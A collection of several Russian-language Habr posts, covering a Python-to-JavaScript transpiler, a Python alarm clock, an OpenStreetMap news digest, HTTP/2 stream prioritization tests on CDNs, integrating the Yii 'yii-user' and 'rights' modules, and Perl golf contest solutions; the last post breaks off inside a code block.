10.times do |n|
puts n
redo
end
```
Только не забывайте ставить его под условие, иначе получится бесконечный цикл. Так что с этой фичей надо быть поосторожнее. | https://habr.com/ru/post/322508/ | null | ru | null |
# Ещё один способ использования python в браузере (и не только)
Предыстория
-----------
Весной 2020 года я впервые попробовал себя в разработке сайтов бэкенд я писал на питоне, а на фронте пришлось использовать js, и он вызвал у меня отторжение(тут надо уточнить, что я не считаю js ужасным языком, просто он мне не понравился). Не долго думая я начал писать транслятор с питона в явускрипт(а если бы погуглил то нашел бы [это](https://brython.info/) и [это](https://www.transcrypt.org/)). об этом трансляторе и пойдет речь.
Отличия от других трансляторов
------------------------------
В процессе разработки я читал о явескрипт и не много о других языках (ruby, lua, php) и заметил что в них много общего, например наличие условных конструкций, функций, переменных и тд. И тогда я подумал почему бы не добавить возможность трансляции не только в js, но и в другие языки.
Языки добавляются с помощью функций обработчиков, например обработчик математичиских операций для js выгладит так:
```
def bin_op(left, right, op):
return f"({left}{op}{right})"
```
а для lisp он будет выглядеть так:
```
def bin_op(left, right, op):
return f"({op} {left} {right})"
```
А так же также отличительной чертой является возможность добавления макросов например целочисленное деление в js:
```
signs = {"//": lambda l, r: f"Math.floor({l}/{r})"}
```
Кому это нужно
--------------
Одним из вариантов использования проекта является написание скриптов в играх, так как питон довольно тяжелый для встроенного языка то можно использовать трансляцию в lua.
Ну и для поддержки проектов с языками вызывающими у вас отторжение(как у меня js или pascal) ну или просто устаревшие языки.
Важно
-----
В некоторых местах статьи можно подумать, что считаю некоторые языки какими-то не такими. Я рассматриваю языки как две части: его синтаксис(тут python для меня почти идеал) и как платформу.
Все говорят, что язык это инструмент и нужно уметь пользоваться разными, то есть молотком отвертку не заменишь. Так вот молоток и отвертка - это платформы, а их ручка это синтаксис.
Лучше всего это видно на примере java. Java(jvm) - это распространённая, быстрая платформа, а синтаксис и языки для нее разные: Kotlin, Java, Clojure и многие другие.
Что поддерживается
------------------
На момент написания статьи добавлен только один язык js, так же я пробовал транслировать в go, но только на уровне hello world и делал код робота катающегося по линии на ардуино(c++).
А так же пока не сделана документация.
Поддерживаются блоки if...elif...else, while, for(C подобный и for each), возможность писать с аннотациями типов. Так же поддерживаются макросы. В общем пока можно писать программы уровня олимпиадного программирования.
Планы на будущее
----------------
В первую очередь расширить набор языков, добавить поддержку всего синтаксиса python. Ну и конечно же написать документацию. Еще хотелось бы сделать реализацию стандартных функций питона на питоне что бы транслировать их и использовать вместе с целевым языком.
И еще хотелось бы web интерфейс как на этой картинке:
P.S.
----
Поддержите проект звездочкой на [гитхаб](https://github.com/aleksey-satir/Python-Universal-Translator)
[Присоединяйтесь к чату телеграм](https://t.me/transpyler_chat) | https://habr.com/ru/post/535934/ | null | ru | null |
# добрый будильник на python
Прочитав статью на хабрахабре про [добрый будильник](http://habrahabr.ru/blogs/arbeit/72091/), решил попробовать на себе, и действительно, с ним просыпаться намного приятнее.
Основной принцип выражается в трех тезисах:
* звук будильника должен плавно увеличиваться
* Под музыку просыпаться лучше, чем под простые звуки.
* Хорошо, если мелодия будет всегда разная.
В итоге автор поста написал приложение на флеше, которое берет наугад mp3 файлы из папки и в определенное время их проигрывает.
Все отлично, за исключением того, что скорость, с которой нарастает звук регулировать нельзя.
Написал автору, подождал, да решил сам сделать что-то подобное.
Скрипт написан на языке [Python](http://www.python.org/) и запускается из командной строки (в конечном итоге нужно добавить программу с определенными параметрами в планировщик задач Windows).
Для запуска вам потребуется установить непосредственной сам [язык Python](http://www.python.org/download/) , [Python for Windows extensions](http://sourceforge.net/projects/pywin32/) и положить библиотеку [Winamp.py](http://rvnikita.ru/wp-content/uploads/2009/10/Winamp.py) в папку Lib, расположенную в установочной директории Python. Эту библиотеку написал [Arkadiusz Wahlig](http://blog.wahlig.eu/2008/05/controlling-winamp-from-python.html).
Скрипт будильника расположен [тут](http://rvnikita.ru/wp-content/uploads/2009/10/goodalarm.py), и запускается следующим образом:
`goodalarm.py --mp3path="ПАПКА\_ДО\_MP3\_ФАЙЛОВ" --timegrowing="ВРЕМЯ\_НАРОСТАНИЯ\_ЗВУКА\_В\_СЕКУНДАХ"`
Легкого подъема! .)
[Оригинал статьи](http://rvnikita.ru/2009/10/dobryj-budilnik-na-python/) в моем [блоге](http://rvnikita.ru) | https://habr.com/ru/post/73444/ | null | ru | null |
# Новости из мира OpenStreetMap № 505 (17.03.2020-23.03.2020)
Детская раскраска с картами от Мэдисона Дрейпера [1](#wn505_22177) | map data OpenStreetMap contributors
Картографирование
-----------------
* Пол Джонсон, [размышляя](https://lists.openstreetmap.org/pipermail/talk/2020-March/084459.html) о причинах выгорания, помимо прочего порекомендовал компании Amazon Logistics перестать нанимать платных картографов (потому что они это делают очень плохо) для улучшения OSM, а всего лишь делиться GPS-треками.
* Франсуа Лакомб предлагает улучшить существующую [схему](https://lists.openstreetmap.org/pipermail/tagging/2020-March/051595.html) тегирования насосов и начать использовать тег `man_made=pump` вместе с дополнительными уточняющими тегами, такими как `pump:output=*`, `pump:type=*` или `pump=powered`. В случае, если данную схему тегирования утвердят, то устареют ныне используемые теги `man_made=windpump` и `man_made=pumping_rig`.
* Максвелл Брикнер [составил](https://www.bgfalconmedia.com/coronavirus/service-opportunities-from-home/article_acdada4c-6b7c-11ea-914e-47822eb5fb3f.html) список из 10 проектов, которым вы можете помочь не выходя из дома, среди них есть OpenStreetMap.
* Компания Mapillary составила [список](https://blog.mapillary.com/update/2020/03/19/Mapping_in_the_Times_of_Covid-19_and_How_You_Can_H.html) объектов, которые необходимо отметить на карте впервую очередь, в связи с пандемией в мире, и можно это сделать не выходя из дома.
Сообщество
----------
* Фредерикк Рамм в очередной раз [заступается](https://lists.openstreetmap.org/pipermail/talk/2020-March/084427.html) за старую школу отрисовки OSM, суть которой состоит в том, что все необходимо вносить руками, от нападок со стороны любителей массовых импортов. Он не согласен с [мнением](https://tech.fb.com/map-with-ai-updates/) компании Facebook, которая считает, что в OSM есть большие трудности с «импортом даже легкодоступных авторитетных наборов данных».
* Джозеф Айзенберг [предлагает](https://lists.openstreetmap.org/pipermail/talk/2020-March/084404.html) добавлять статус «import» тем тегам, а также связанными с ними страницам на WikiOSM, которые появились в OSM только благодаря тому или иному массовому импорту. В качестве примера он приводит тег `tiger:*=*`.
* В этом году из-за пандемии коронавируса конференция «State of the Map» пройдет [виртуально](https://lists.openstreetmap.org/pipermail/talk/2020-March/084494.html). В настоящее время организаторы разрабатывают необходимое для этого программное обеспечение ([с открытым исходным кодом](https://gitlab.com/billowconf/billowconf)), а также ищут фронтенд-разработчика, который бы мог им помочь.
* Немецкое сообщество OSM [ищет](https://lists.openstreetmap.org/pipermail/talk-de/2020-March/116677.html) команду для ведения YouTube-канала «OpenStreetMap Deutschland». Однако, с этим связано несколько спорных моментов, например, некоммерческая организация FOSSGIS, [утверждает](https://lists.openstreetmap.org/pipermail/talk-de/2020-March/116678.html), что она владеет товарными знаками OpenStreetMap на территории Германии, так как является официальным местным представительством Фонда OSM на данной территории, а потому вправе требовать ключи от данной учетной записи и вести ее.
* Алессандро Сарретта [рассказал](https://ilsarrett.wordpress.com/2020/03/22/consegne-a-domicilio-per-persone-in-difficolta-durante-lemergenza-covid-19-creare-una-mappa-con-umap-e-dati-openstreetmap/amp/), как с помощью сервиса uMap сделать карту предприятий, которые доставляют что-либо на дом в связи с COVID-19. Он также объяснил, как использовать свои значки для обозначения.
* Пользователь Jothirnadh из Amazon, после [критики](https://forum.openstreetmap.org/viewtopic.php?id=68588) этой компании за использование закрытых источников данных для улучшения OSM в Германии, рассказал о картографической деятельности их компании в этой стране ([на форуме](https://forum.openstreetmap.org/viewtopic.php?id=68933) и [в дневнике](https://www.openstreetmap.org/user/jguthula/diary/392497)).
Гуманитарный OSM
----------------
* HOT составила [список](https://www.hotosm.org/updates/mapping-in-the-times-of-covid-19-and-how-you-can-help/) различных акций и инструментов, с помощью которых вы можете сделать OSM точнее и лучше, не выходя из дома во время пандемии коронавируса.
* HOT решила не откладывать проведение своей конференции «HOT Summit 2020», которая, как и сообщалось ранее, пройдет в Кейптауне (ЮАР) 1 и 2 июля. В Твиттере HOT также [заявила](https://twitter.com/hotosm/status/1241129959558709258), что будет следить за развитием ситуации и ориентироваться на предупреждения о здоровье и путешествиях.
* Ранним утром 20 марта 2020 года на реке Пьендамо случилось наводнение, от которого пострадало порядка 60 домов в резервации коренного населения Гуамбия общины Мисак (департамент Каука, Колумбия). Однако из-за карантина, в связи с пандемией COVID-19, ликвидация последстий этого стихийного бедствия будет проведена позже. Поэтому объединение коренных народов обращается ко всем с просьбой поддержать их финансово. Если вы не можете оказать им такую поддержку, пожалуйта, помогите нам распространить информацию об этой ситуации или примите участие в [картировании](https://tareas.openstreetmap.co/project/158) пострадавшего района.
Карты
-----
* [1] Мэдисон Дрейпер из компании Mapbox [сделал](https://blog.mapbox.com/exploring-from-home-a-map-coloring-book-37ff42ac4953) детскую раскраску, где в качестве картинок представлены карты любимых мест команды Mapbox, чтобы ваши дети могли найти себе развлечение во время пандемии коронавирсу. Если вам нужны другие места, то он также рассказал, как сделать свою собственную раскраску с картами.
* Как [сообщает](https://twitter.com/mhm7kcn/status/1240331783465394178?s=19) Мехмед Акчин из компании EdgeUno, эта компания планирует поддержать работу тайл-серверов OSM.
* Мартин Элиас [написал](https://www.maptiler.com/news/2020/03/fighting-coronavirus-with-maptiler-maps/) в своем блоге о том, как сервис MapTiler помогает ежедневной немецкой газете Berliner Morgenpost справиться с большим увеличением трафика на их [карту](https://interaktiv.morgenpost.de/corona-virus-karte-infektionen-deutschland-weltweit/), посвященную COVID-19.
* Сайт RandoCarto сделал [плакат](https://randocarto.fr/demo/Hopitaux_IdF.png) с больницами Иль-де-Франса. Данные были взяты из OSM.
* В Германии по соображениям безопасности больше не разрешено мусоровозам двигаться задним ходом. Это иногда приводит к изменению маршрутов движения мусоровозов. Франкфуртская компания по утилизации отходов (FES) сделала [карту](https://www.fes-frankfurt.de/wissenswertes/frankfurt-faehrt-vorwaerts/) на основе OpenStreetMap, на которой можно посмотреть, не касается ли это ваше улицы.
* Исландская поисковая компания Já выпустила [новую версию](https://en.ja.is/kort/) национальной карты Исландии, которая использует данные OpenStreetMap (здания и дороги). На Já также есть сервис, похожий на Street View, который называется Já 360. В феврале 2019 году компания [разрешила](https://lists.openstreetmap.org/pipermail/talk-is/2019-February/001040.html) участникам OSM использовать свои фотографии. Смотрите пример [здесь](https://en.ja.is/kort/?x=357440&y=407852&nz=13.70&ja360=1&jh=144.1).
* Пользователь Dropshadow\_1 [сделал](http://umap.openstreetmap.fr/fr/map/premiere-necessite-et-pharmacies-metropole-du-gran_432218#14/48.6922/6.1808) с помощью сервиса uMap карту различных услуг в городском сообществе Большого Нанси. На карте показаны продуктовые магазины, супермаркеты, аптеки, пекарни и табачные лавки.
* Португальская газета «Dinheiro Vivo» [опубликовала](https://www.dinheirovivo.pt/economia/este-site-mostra-lhe-onde-pode-comprar-produtos-mais-perto-de-si/) статью о сайте [SOS Covid](https://sos-covid.com/#/). Этот сайт позволяет в режиме реального времени найти ближайший к вам супермаркет, в котором есть товары первой необходимости, которые вам могут понадобиться в условиях чрезвычайного положения. Свежие продукты, предметы гигиены, а также бакалейные товары — это все товары, которые можно найти, пока что, с помощью этого портала. Сайт SOS Covid был разработан компанией Feralbyte в партнерстве с исследователями из Центра исследований в области геопространственных наук (CICGE — UPorto|ISMAI). Атрибуция OSM соблюдена!
Программное обеспечение
-----------------------
* Гийом Ришар [предлагает](https://github.com/tyrasd/overpass-turbo/issues/455) новый логотип для сервиса Overpass Turbo, который может вызвать ностальгические чувства у людей, которые уже были сознательными в 80-е годы прошлого века.
* Пользователь Mietz [рекомендует](https://forum.openstreetmap.org/viewtopic.php?id=68951) использовать приложение SyncMe Wireless для Android в сочетании с OsmAnd, чтобы автоматически и без проблем передавать GPS-треки и фотографии, сделанные в OsmAnd, с телефона на компьютер.
Релизы
------
* Пол Норман сообщил, что не так давно вышла новая версия основного картографического стиля OSM Carto (v5.0.0), в которой достаточно много изменений. Об [основных](https://lists.openstreetmap.org/pipermail/dev/2020-March/030902.html) он рассказал в своем письме в списке рассылки OSM-dev, со всеми остальными можно ознакомиться на [GitHub](https://github.com/gravitystorm/openstreetmap-carto/compare/v4.25.0...v5.0.0).
* Вышла новая [версия](https://github.com/MarcusWolschon/osmeditor4android/releases) мобильного редактора OSM — Vespucci (14.1.0), разрабатываемого Саймоном Пулом. Улучшения, внесенные в эту минорную версию, подробно описаны в [примечаниях](https://github.com/MarcusWolschon/osmeditor4android/blob/master/documentation/docs/help/en/14.1.0%20Release%20notes.md) к выпуску, а полный список изменений можно найти на [GitHub](https://github.com/MarcusWolschon/osmeditor4android/blob/master/CHANGELOG.txt).
Знаете ли вы …
--------------
* … группа радиолюбителей Ham из Рейнско-Вестфальского технического университета Ахена (Германия) не так давно "[подняла](https://www.afu.rwth-aachen.de/index.php/projekte/hamnet/anwendungen/open-street-map)" свой тайл-сервер для обеспечения тайлами собственные приложения. Они используются, например, в APRS в европейской высокоскоростной мультимедийной сети любительского радио и HAMNET.
Другие «гео» события
--------------------
* Блог GIScience News [сообщает](http://k1z.blog.uni-heidelberg.de/2020/03/19/25-jahre-klaus-tschira-stiftung-kts-fordert-zum-jubilaum-zahlreiche-25er-aktionen-heigit-mit-25-mapathons-dabei/) (автоматический перевод), что Гейдельбергский институт геоинформационных технологий (HeiGIT) планирует провести 25 картотонов по всей Германии и таким образом отметить 25-летие основания [Фонда Клауса Чира](https://en.wikipedia.org/wiki/Klaus_Tschira_Foundation).
* Грегори Скрэггс на сайте «Next City» [рассказывает](https://nextcity.org/daily/entry/mapping-tech-could-formalize-settlements-for-one-billion-people) о проекте "[Миллион кварталов](https://millionneighborhoods.org/#1/9.6/18.1)", который использует данные OSM (для расчета доступа людей к дорожной сети) и искусственный интеллект, чтобы спроектировать новую сеть улиц, которой смогут воспользоваться гораздо больше жителей.
* Пользователь dktue [привел](https://forum.openstreetmap.org/viewtopic.php?id=68935) ссылку на видео в [LinkedIn](https://www.linkedin.com/posts/thomas-schulte-hillen-2852745_navigation-maptrip-tomtom-activity-6638045504586436608-twwH/), которое сравнивает длину дорожной сети от OSM, TomTom и Here. Однако, по-видимому, есть некоторые вопросы относительно измерений, т.е. если все наборы данных включают одни и те же типы путей.
* Планируете сделать ситуационную карту своего региона? С 18 марта сервис Ushahidi [отменил](https://www.ushahidi.com/blog/2020/03/18/waiving-ushahidi-basic-plan-fees-to-support-covid-19-response) платную подписку (на 90 дней) на базовый тарифный план с цеолью поддержки инициатив по борьбе с COVID-19.
* Компания EVNavigation [выпустила](https://cleantechnica.com/2020/03/22/no-more-running-on-an-empty-battery-with-ev-navigation/) бета-версию своего навигационного приложения EVNavigation для точного построения маршрутов для электромобилей. При расчетах дальности поездки учитывается как высота рельефа местности, так и другие условия, которые могут влиять на работу аккумулятора, такие как вес, давление в шинах, температура, ветер и поведение водителя. Приложение использует OpenChargeMap в качестве источника данных для зарядных станций и OpenStreetMap — картографических данных.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [504](https://habr.com/ru/post/494718/), [503](https://habr.com/ru/post/493584/), [502](https://habr.com/ru/post/492444/), [501](https://habr.com/ru/post/491518/), [500](https://habr.com/ru/post/490686/) | https://habr.com/ru/post/495706/ | null | ru | null |
# А ваш CDN умеет так?
*Изображение взято с сайта [www.aerotime.aero](https://www.aerotime.aero/)*
Всем привет, меня зовут Семён, я руковожу разработкой партнёрских сервисов в ДомКлике. Недавно, работая над оптимизацией загрузки страниц, я наткнулся на интересную заметку от [Cloudflare](https://blog.cloudflare.com/better-http-2-prioritization-for-a-faster-web/) о приоритизации потоков при работе с CDN. Я заинтересовался и решил проверить, поддерживает ли наш CDN эту опцию стандарта HTTP/2? Тех, кому интересно узнать больше, прошу под кат, где мы рассмотрим механизм приоритизации HTTP/2-потоков и протестируем работу некоторых CDN.
### Немного теории. HTTP/2
Раз уж мы заговорили про [HTTP/2](https://tools.ietf.org/html/rfc7540), давайте вспомним, что нового нам предложил этот протокол:
* HTTP/2 бинарный, не текстовый.
* Мультиплексированные потоки (возможность параллельно пересылать фреймы из многих потоков, используя одно TCP-соединение).
* Сжатие заголовков.
* Сервер пуш.
* Расширение Application-Layer Protocol Negotiation (ALPN) для быстрой работы по TLS.
* Отпала необходимость шардировать домены со статикой (практика создания нескольких доменов, например, static[1-3], призванная обойти ограничения браузеров по количеству параллельных подключений к одному хосту).
Среди прочего, [HTTP/2 позволяет приоритизировать](https://tools.ietf.org/html/rfc7540#section-5.3) потоки при мультиплексировании.
### Как работает приоритизация потоков в HTTP/2
Каждому потоку при мультиплексировании:
* можно присвоить вес — целочисленное значение от 1 до 256;
* можно присвоить номер потока, от которого он зависит.
Комбинация веса и зависимостей потоков позволяет клиенту (браузеру) построить «дерево приоритизации» для описания порядка получения ответов. В свою очередь, сервер может использовать эту информацию для выделения ресурсов приоритетным ответам.
> Важно заметить, что использование механизмов приоритизации потоков клиентом не гарантирует определённого порядка обработки и пересылки сервером.
«Родительские» потоки (от которых зависят другие потоки) получают ресурсы первыми. Если у двух «потомков» одинаковый родитель, потомки получают ресурсы пропорционально значению `weight` в заголовке HTTP/2 Stream.
Например, есть два потока, которые запускаются в рамках одного TCP-соединения:
```
HTTP/2 Stream: 57, weight 15, depends on 55, EXCLUSIVE
HTTP/2 Stream: 63, weight 5, depends on 55, EXCLUSIVE
```
Оба потока зависят от потока №55, поэтому он должен первым получить ресурсы сервера (CPU, memory, output buffers) на выполнение. Далее ресурсы должны быть распределены между потоками 57 и 63 согласно весам: 57 должен получить 15/20, а 63 — 5/20, т.е. поток 57 должен получить в три раза больше ресурсов.
### Почему вообще это важно?
При использовании HTTP/2 клиент открывает одно соединение к серверу. По этому соединению загружается вся статика: CSS, JS, изображения, шрифты и т.д. В каком порядке их загружать? А может, всё вместе параллельно?
Загружать все артефакты одновременно — плохо, так как это увеличивает общее время загрузки страницы и зачастую не имеет смысла для пользователя на первом экране. Скажем, у нас есть страница, на которой отображается тридцать изображений, но на первом экране пользователь видит только пять из них. В этом случае лучше загрузить первые пять изображений, а остальные после того, как пользователь увидит первый экран. Или, например, есть JS-скрипты, которые загружаются с async или defer — их тоже можно оставить на потом. Т.е. сначала необходимо использовать всю ширину канала для загрузки артефактов, которые помогут пользователю увидеть первый экран (CSS, JS, шрифты), и уже потом загружать менее важные вещи.
### А что же CDN?
С помощью механизма приоритизации потоков браузеры могут сообщать серверу о предпочитаемом порядке получения ресурсов. Однако оказывается, что не все серверы используют этот механизм для аллокации ресурсов.
[Патрик Минан](https://github.com/pmeenan) из Google [создал простой тест](https://github.com/pmeenan/http2priorities) для проверки поддержки сервером стандарта HTTP/2 Stream prioritization.
### Тест
Тест выполняется с помощью специального ресурса на <https://www.webpagetest.org>.
Необходимо задать параметры эксперимента:
* Выбрать картинку размером около 100 Кб на проверяемом ресурсе;.
* Web Site URL: указать <https://www.webpagetest.org/http2priorities.html> с параметром `image` из предыдущего шага.
* Browser выбрать Chrome.
* Location не так важно, но логично выбрать ближе к edge location вашей CDN.
* Connection лучше указать помедленнее, "3G Fast" (1,6 Мбит/с. / 768 Кбит/с., 150 мс RTT).
* Runs указать побольше, до девяти.
> Тест для проверки CDN написан разработчиком Chrome, поэтому реализует логику приоритизации, используемую в этом браузере.
После запуска тест выполнит следующие шаги:
* Загрузит HTML документ (запрос №1).
* Дважды загрузит указанную в тесте картинку (запросы №2 и №3).
* Установит и «прогреет» TCP-соединение с сервером.
* Добавит уникальный хэш к каждому из запросов, чтобы убедиться, что изображения будут доставлены по сети, а не из кэша.
* Запросит изображение с сервера 30 раз с низким приоритетом (запросы №4-33).
* Подождёт, пока два низкоприоритетных изображения загрузятся, чтобы дать серверу возможность заполнить буферы данными.
* Запросит изображение с высоким приоритетом и дождётся полной загрузки (запрос №34).
* Запросит изображение с высоким приоритетом (запрос №35).
Результаты теста
----------------
### CDN, который используем мы (внешний подрядчик)
Как видно из графика, наш CDN обратил внимание на приоритет потоков, перераспределил ресурсы и загрузил изображения с высоким приоритетом в сравнимое с эталонным время, гораздо раньше низкоприоритетных.
### Cloudfront
Я решил сравнить результаты теста с каким-нибудь известным CDN и взял для этого Cloudfront от AWS. Результат меня удивил:
Как оказалось, Cloudfront не учитывает приоритеты потоков: время выполнения первого приоритетного запроса было на порядок выше эталонного, а второй приоритетный запрос и вовсе закончился позже многих низкоприоритетных.
### Заключение
Мы рассмотрели механизм приоритизации потоков в HTTP/2 и протестировали работу некоторых CDN. Выяснилось, что не все CDN, даже самые крупные и известные, поддерживают эту опцию стандарта HTTP/2.
#### Ссылки
[Стандарт HTTP/2 RFC7540](https://tools.ietf.org/html/rfc7540#section-5.3)
[Книга O'Reilly High Performance Browser Networking](https://hpbn.co/)
[Репозиторий с тестом CDN by Patrick Meenan](https://github.com/pmeenan/http2priorities)
[Статья Clouldflare о Stream prioritization](https://blog.cloudflare.com/better-http-2-prioritization-for-a-faster-web/) | https://habr.com/ru/post/521634/ | null | ru | null |
# Как заставить работать расширения yii-user и rights совместно?
Предисловие
-----------
Доброе время суток хабравчане.
Для начала представлюсь. Меня зовут Роман, и я занимаюсь разработкой сайтов (в основном на [php-фреймворке «yii»](http://www.yiiframework.com/ "Yii framework"), но проскакивают и другие php\python фреймворки\цмс\велосипеды\быдлокоды). В своих проектах на yii всеы нам часто приходится реализовывать тривиальные функции регистрации, авторизации и тд. Плюс ко всему прибавьте к этому ещё и распределние прав доступа для различных пользователей. Готов поспорить, что у каждого толкового разработчика есть хотя бы одна заготовка реализации этого функционали, либо он использует сторонее расширение. Вот и я каждый раз использовал одну и туже реализацию, от пректа к проекту допиливал её, интегрировал с другими частями системы. Но недавно я всё же решил порыть в сторону готовых решений, которые удовлетворяли бы мои потребности и таковые нашлись довольно быстро. 2 самых популярных расширения для yii из [оффициального репозитория](http://www.yiiframework.com/extensions/) – [«yii-user»](http://www.yiiframework.com/extension/yii-user/) и [«rights»](http://www.yiiframework.com/extension/rights/).
Интеграция
----------
Оба расширения оформлены в виде модулей. Так что могут быть легко интегрированны в уже существующий проект (если в вашем проекте уже есть модули «user» и «rights» сделайте бекапы), но я для чистоты буду их соединять в новом приложении. Для начала его нужно создать, как это делать отлично описано в [документации](http://yiiframework.ru/doc/guide/ru/quickstart.first-app). Скачиваеим дополнения и распаковываем в папку /protected/modules (её может не быть, создайте вручную). Теперь в нашем проекте появились 2 новых модуля – «user» и «rights». Включим их в конфиге (/protected/config/main.php).
```
'import'=>array(
#...
'application.modules.user.*',
'application.modules.user.models.*',
'application.modules.user.components.*',
'application.modules.rights.*',
'application.modules.rights.models.*',
'application.modules.rights.components.*',
#...
),
'modules'=>array(
#...
'user' => array(
// названия таблиц взяты по умолчанию, их можно изменить
'tableUsers' => 'tbl_users',
'tableProfiles' => 'tbl_profiles',
'tableProfileFields' => 'tbl_profiles_fields',
),
'rights',
#...
),
'components'=>array(
#...
'user'=>array(
'class' => 'RWebUser',
'allowAutoLogin'=>true,
),
'authManager'=>array(
'class'=>'RDbAuthManager',
'defaultRoles' => array('Guest') // дефолтная роль
),
#...
),
```
Далее создаем таблицы в базе данных mysql из файлов /protected/modules/user/data/schema.mysql.sql и /protected/modules/user/data/schema.sq.
Ура! Мы успешно установили модули. Проверяем. Заходим по ссылке [yiitest/?r=user](http://yiitest/?r=user) и видим —
[](http://www.habrastorage.com/images/ljl.png)
По умолчанию при установке модуля создаются 2 пользователя — admin и demo с паролями admin и demo соответственно. Вы можете авторизоваться под admin:admin и посмотреть все прелести данного модуля. Вкраце о них: * Готовая реализация регистрации, авторизации, восстановления пароля, активации аккаунта;
* Есть механизм дополнительных полей профиля. То есть к профилю пользователя можно безболезненно прикрутить дополнительные поля, например дату рождения, город, телефон и тд. Можно настроить название поля, тип, код, дефолтное значение, регулярное выражение для валидации, навесить свой виджет вместо стандартного инпута и ещё много всякого разного и вкусного;
* Готовый интерфейс администрирования всего модуля (в стиле CRUD).
Теперь проверяем [yiitest/?r=rights](http://yiitest/?r=rights). Но к нашему удивлению видем сообщение об ошибке 403 *«There must be at least one superuser!»*. Простая авторизация под админом тут не прокатит. Модуль по прежнему будет требовать авторизаваться под суперпользователем. Как же его назначить? Тут выясняется что у модуля rights есть ещё некий инсталер, который нужен для добавления дефолтных значений, среди который кстати и находится привязка статуса суперпользователя к текущему юзеру (по умолчанию инсталер не доступен, его нужно вкулючить в настройках модуля). Но мы проигнорируем инсталлер и, как настоящие джедаи, исполняем следующие запросы:
```
INSERT INTO `AuthItem` (`name`, `type`, `description`, `bizrule`, `data`) VALUES
('Admin', 2, 'Администратор', NULL, 'N;'),
('Authenticated', 2, 'Зарегистрированный пользователь', NULL, 'N;'),
('Guest', 2, 'Гость', NULL, 'N;');
INSERT INTO `AuthAssignment` (`itemname`, `userid`, `bizrule`, `data`) VALUES
('Admin', '1', NULL, 'N;'), -- цифру 1 нужно заменить на ID администратора (в нашем примере это первый пользователь)
('Authenticated', '2', NULL, 'N;');
```
Обновляем страницу [yiitest/?r=rights](http://yiitest/?r=rights), если снова просит авторизоваться под superuser, авторизуемся под пользователем с ID=1 (в нашем примере это admin:admin). И, как говорят в одной замечательной стране, вуаля! Сразу видим интерфейс администрирования. Вкраце о возможностях:* Можно привязать несколько ролей к одному пользователю;
* Операции группируются;
* Роли могут наследовать разрешения;
* Многое другое.
Для того, что бы наши правила заработали, Controller должен наследоваться от класса RController и в него (Controller) нужно добавить (или дописать) метод filters
```
public function filters(){
return array(
#...,
'rights'
);
}
```
На сладкое
----------
Это все конечно очень здорово, но во всей этой схеме закрался небольшой багнебаг (разработчики не предусмотрели, либо я чего-то ещё не изучил). А именно после регистрации вручную придется выставлять пользователю роль «Authenticated». Для этого я написал небольшой костыль. В модуль «user» в папке components создаем файл OnAfterRegistrationBehavior.php со следующим содержимым:
```
class OnAfterRegistrationBehavior extends CActiveRecordBehavior{
function afterSave($event){
// получаем таблицу в БД
$assignmentTable = Yii::app()->getAuthManager()->assignmentTable;
// получаем параметры нового пользователя
$attr = $event->sender->getAttributes();
// вытаскиваем название роли по умолчанию из настроек модуля rights
$defRole = Yii::app()->getModule('rights')->authenticatedName;
// добавляем привязку
Yii::app()->db->createCommand(
"INSERT INTO {$assignmentTable}
(`itemname`,`userid`,`bizrule`,`data`)
VALUES
('{$defRole}','{$attr['id']}',NULL,'N;')")->execute();
}
}
```
После чего к модели «RegistrationForm» добавляем поведение «OnAfterRegistrationBehavior»
```
public function behaviors(){
return array(
'OnAfterRegistrationBehavior' => array(
'class' => 'application.modules.user.components.OnAfterRegistrationBehavior'
)
);
}
```
Только после обновления модуля user не забудьте восстановить поведение. Будем надеяться, что разработчики прикрутят events к своим контроллерам, что бы в будущем не пришлось прибегать к таким костылям.
Если кто-то знает более изящное решения, буду рад услышать.
Спасибо за внимание. | https://habr.com/ru/post/127052/ | null | ru | null |
# День рождения Perl и лучшие решения Golf от Moscow.pm
Сегодня [исполняется 27 лет](http://habrahabr.ru/post/245659/) со «дня рождения» одного из самых популярных на сегодня языков программирования — Perl. На нём создано несметное множество приложений и интернет-ресурсов, в том числе и имеющие многомиллионные аудитории, и соответствующие финансовые обороты. За примерами далеко ходить не придётся: Amazon, Yahoo!, Slashdot. Последние 20 лет он входит в десятку наиболее используемых языков, несмотря на слухи о своей кончине. Однако многомиллионная армия Perl-программистов, ежегодно выдающая на-гора множество продуктов, убедительно опровергает инсинуации верблюдоненавистников. Как говорится, собака лает — караван идёт. С момента своего появления в 1987 году, Perl взрастил уже два поколения программистов, и нет никаких причин отказываться от Жемчужного Корабля Пустыни ещё лет 30 как минимум. Так что мы с удовольствием поздравляем всех Perl-программистов с днём рождения их «родного» языка, Ларри Уоллу желаем долголетия календарного и творческого, чтобы ему хватило задора на создание ещё пары версий Perl.
Также ко дню рождения этого замечательного языка мы приурочили публикацию решений победителей в небольшом конкурсе программистов Golf, [объявленном](http://habrahabr.ru/company/mailru/blog/239087/) 3 октября в рамках митапа Moscow.pm.
Напомним условия задачи:
*Найти максимально длинное кольцо, которое можно составить из списка предложенных вам костяшек или вывести 0, если их нельзя закольцевать.*
**Входные данные**: Строка из пар чисел от 0 до 6, разделенных пробелом. Каждая пара — одна костяшка.
**Пример**: 01 11 12 22 31 32
**Данные подаются на STDIN**: cat data | golf.pl
**Пример ответа**: 11 12 22 23 31
Код решения задачи должен был содержать как можно меньше символов. Победителей было трое, мы их уже одарили призами, и сегодня выкладываем на ваш суд их творения.
Денис Евдокимов (110 символов):
```
#!/usr/bin/perl -lap
$_=0;while(--$^T){@F=sort{$a=reverse$a;rand>0.5?1:-1}@F;$_=$&if"@F"=~/(\d)((\d) \3)*\1/&&length$&>length}
```
Виталий Дятлов (116 символов):
```
$><<(gets+$/+$_.reverse).split.permutation.map{|b|b*' '=~/(?!.*(.)(.) .*\2\1)(.)((.) \5)*\3/&&$&||?0}.max_by(&:size)
```
Тимур Нозадзе (119 символов):
```
#!/usr/bin/perl -pl
sub c{$_=pop;s/\d\d/c("@_ $&",$'.$`)/eg;$_=pop;$m=$1 if!/(\d)(\d).*\2\1/&/^ ((.)((.) \4)*\2)$/}c$_.reverse;$_=$m//0
```
И ещё один код от П.Я., который получил приз зрительских симпатий:
```
#!/usr/bin/ruby -apF
